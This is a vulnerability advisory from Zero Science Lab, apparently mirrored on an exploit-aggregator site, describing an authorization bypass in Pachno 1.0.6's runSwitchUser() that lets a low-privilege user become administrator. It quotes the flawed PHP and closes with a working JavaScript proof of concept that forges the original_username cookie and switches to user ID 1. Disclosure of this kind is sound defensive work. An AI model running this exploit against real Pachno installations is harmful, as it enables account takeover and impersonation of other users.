Share
## https://sploitus.com/exploit?id=ZSL-2026-5985
<html><body><p>Pachno 1.0.6 (runSwitchUser()) Remote Vertical Privilege Escalation


Vendor: Daniel André Eikeland
Product web page: https://github.com/pachno/pachno
Affected version: 1.0.6

Summary: Pachno is an open-source collaboration platform (formerly known as The Bug
Genie) designed for team project management, issue tracking, and documentation. It
offers a module-based, customizable environment for software development and team
workflows, distributed under the Mozilla Public License.

Desc: The authorization check in the runSwitchUser() action evaluates the expression
!canSaveConfiguration() &amp;&amp; !hasCookie('original_username') and only forbids the request
when both subexpressions are true. The presence of the original_username cookie is
sufficient to satisfy the second condition, and that cookie is fully client-controlled.
An authenticated low-privilege user who sets original_username to any value and then
issues a request to switch to user ID 1 receives a fresh session token (token authentication)
or password hash cookie (password authentication) belonging to the target user. This
can be exploited to elevate privileges to administrator and impersonate arbitrary user
accounts.

=====================================================================================
/core/modules/auth/controllers/Authentication.php:
--------------------------------------------------
        /**
         * Switch user action
         *
         * @Route(name="switch_to_user", url="/userswitch/switch/:user_id/:csrf_token")
         * @CsrfProtected
         *
         * @param framework\Request $request
         */
        public function runSwitchUser(framework\Request $request)
        {
            if (!$this-&gt;getUser()-&gt;canSaveConfiguration() &amp;&amp; !$request-&gt;hasCookie('original_username'))
                return $this-&gt;forward403();

            $response = $this-&gt;getResponse();
            $authentication_backend = framework\Settings::getAuthenticationBackend();
            if ($request['user_id']) {
                $user = new entities\User($request['user_id']);
                if ($authentication_backend-&gt;getAuthenticationMethod() == framework\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {
                    $response-&gt;setCookie('original_username', $request-&gt;getCookie('username'));
                    $response-&gt;setCookie('original_session_token', $request-&gt;getCookie('session_token'));
                    framework\Context::getResponse()-&gt;setCookie('username', $user-&gt;getUsername());
                    framework\Context::getResponse()-&gt;setCookie('session_token', $user-&gt;createUserSession()-&gt;getToken());
                } else {
                    $response-&gt;setCookie('original_username', $request-&gt;getCookie('username'));
                    $response-&gt;setCookie('original_password', $request-&gt;getCookie('password'));
                    framework\Context::getResponse()-&gt;setCookie('password', $user-&gt;getHashPassword());
                    framework\Context::getResponse()-&gt;setCookie('username', $user-&gt;getUsername());
                }
            } else {
                if ($authentication_backend-&gt;getAuthenticationMethod() == framework\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {
                    $response-&gt;setCookie('username', $request-&gt;getCookie('original_username'));
                    $response-&gt;setCookie('session_token', $request-&gt;getCookie('original_session_token'));
                    framework\Context::getResponse()-&gt;deleteCookie('original_session_token');
                    framework\Context::getResponse()-&gt;deleteCookie('original_username');
                } else {
                    $response-&gt;setCookie('username', $request-&gt;getCookie('original_username'));
                    $response-&gt;setCookie('password', $request-&gt;getCookie('original_password'));
                    framework\Context::getResponse()-&gt;deleteCookie('original_password');
                    framework\Context::getResponse()-&gt;deleteCookie('original_username');
                }
            }
            $this-&gt;forward($this-&gt;getRouting()-&gt;generate('home'));
        }
=====================================================================================

Tested on: GNU/Linux
           Apache2
           PHP/7.4
           MySQL/5.7 (MariaDB)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5985
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5985


06.04.2026

--


document.cookie = "original_username=liquidworm; path=/";

const csrf = document.querySelector('input[name="csrf_token"]')?.value
          || document.querySelector('meta[name="csrf-token"]')?.content;

fetch('/switch_user', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded',
               'User-Agent'  : 'AuthorizationBypassium/1.12.04' },
    body: `user_id=1&amp;csrf_token=${encodeURIComponent(csrf)}`
}).then(() =&gt; {
    window.location.href = '/configure';
});
// If you 'see' /configure, you are admin.
</p></body></html>